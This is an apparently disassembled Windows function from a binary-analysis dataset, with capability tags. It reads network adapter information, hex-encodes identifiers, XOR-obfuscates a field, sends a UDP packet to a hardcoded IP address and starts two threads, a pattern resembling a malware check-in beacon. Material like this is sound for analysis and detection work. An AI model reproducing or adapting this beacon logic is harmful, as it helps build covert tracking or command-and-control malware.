Function at 0x6de84e40
Capabilities:
Create thread
Send data
Send data on socket

Disassembly:
push edi
push esi
push ebx
push eax
mov eax, 0x290c
call fcn.6de8af80
sub esp, eax
mov eax, dword [esp + eax]
mov dword [esp + 0x24], 0x2800
mov ebx, eax
lea eax, [esp + 0x24]
mov dword [esp + 4], eax
lea eax, [esp + 0x110]
mov dword [esp], eax
call sub.IPHLPAPI.DLL_GetAdaptersInfo
sub esp, 8
lea edi, [esp + 0x38]
mov dword [esp + 4], 0x12
lea esi, [esp + 0x4a]
mov dword [esp], edi
call fcn.6de84cd0
mov dword [esp + 4], esi
mov dword [esp], edi
call fcn.6de89ba0
xor eax, eax
lea esi, [esi]
movzx edx, byte [esi + eax]
mov ecx, edx
and edx, 0xf
shr cl, 4
movzx edx, byte [edx + str.0123456789abcdef]
movzx ecx, cl
movzx ecx, byte [ecx + str.0123456789abcdef]
mov byte [esp + eax*2 + 0x8b], dl
mov byte [esp + eax*2 + 0x8a], cl
add eax, 1
cmp eax, 0x20
jne 0x6de84ea0
mov eax, dword [0x6de94054]
lea esi, [esp + 0x6a]
mov byte [esp + 0xca], 0
mov dword [esp + 4], esi
mov dword [esp], eax
call fcn.6de89ba0
xor eax, eax
movzx edx, byte [esi + eax]
mov ecx, edx
and edx, 0xf
shr cl, 4
movzx edx, byte [edx + str.0123456789abcdef]
movzx ecx, cl
movzx ecx, byte [ecx + str.0123456789abcdef]
mov byte [esp + eax*2 + 0xac], dl
mov byte [esp + eax*2 + 0xab], cl
add eax, 1
cmp eax, 0x20
jne 0x6de84ef2
mov eax, dword [0x6de8d008]
lea esi, [esp + 0xcc]
add ebx, 0x28
xor eax, 0xdeadbeee
add eax, 0x8ad
mov dword [esp + 0xcc], eax
mov eax, dword [esp + 0x8a]
mov dword [esp + 0xd0], eax
mov eax, dword [esp + 0x8e]
mov dword [esp + 0xd4], eax
mov eax, dword [esp + 0x92]
mov dword [esp + 0xd8], eax
mov eax, dword [esp + 0x96]
mov dword [esp + 0xdc], eax
mov eax, dword [esp + 0x9a]
mov dword [esp + 0xe0], eax
mov eax, dword [esp + 0x9e]
mov dword [esp + 0xe4], eax
mov eax, dword [esp + 0xa2]
mov dword [esp + 0xe8], eax
mov eax, dword [esp + 0xa6]
mov dword [esp + 0xec], eax
mov eax, dword [esp + 0xab]
mov dword [esp + 0xf0], eax
mov eax, dword [esp + 0xaf]
mov dword [esp + 0xf4], eax
mov eax, dword [esp + 0xb3]
mov dword [esp + 0xf8], eax
mov eax, dword [esp + 0xb7]
mov dword [esp + 0xfc], eax
mov eax, dword [esp + 0xbb]
mov dword [esp + 0x100], eax
mov eax, dword [esp + 0xbf]
mov dword [esp + 0x104], eax
mov eax, dword [esp + 0xc3]
mov dword [esp + 0x108], eax
mov eax, dword [esp + 0xc7]
mov dword [esp + 0x10c], eax
mov eax, 2
mov word [esp + 0x28], ax
movzx eax, word [0x6de94074]
mov dword [esp], eax
call sub.WSOCK32.DLL_htons
sub esp, 4
mov dword [esp], 0xabf42155
mov word [esp + 0x2a], ax
call sub.WSOCK32.DLL_htonl
sub esp, 4
mov dword [esp + 0x2c], eax
lea eax, [esp + 0x28]
mov dword [esp + 4], esi
mov dword [esp + 0x14], 0x10
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x44
mov eax, dword [ebx - 0x28]
mov dword [esp], eax
call sub.WSOCK32.DLL_sendto
mov esi, dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x6de81500
mov dword [esp + 4], 0
mov dword [esp], 0
call esi
sub esp, 0x18
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0x6de865a0
mov dword [esp + 4], 0
mov dword [esp], 0
call esi
sub esp, 0x18
mov dword [esp], ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, 1
sub esp, 4
add esp, 0x2910
pop ebx
pop esi
pop edi
ret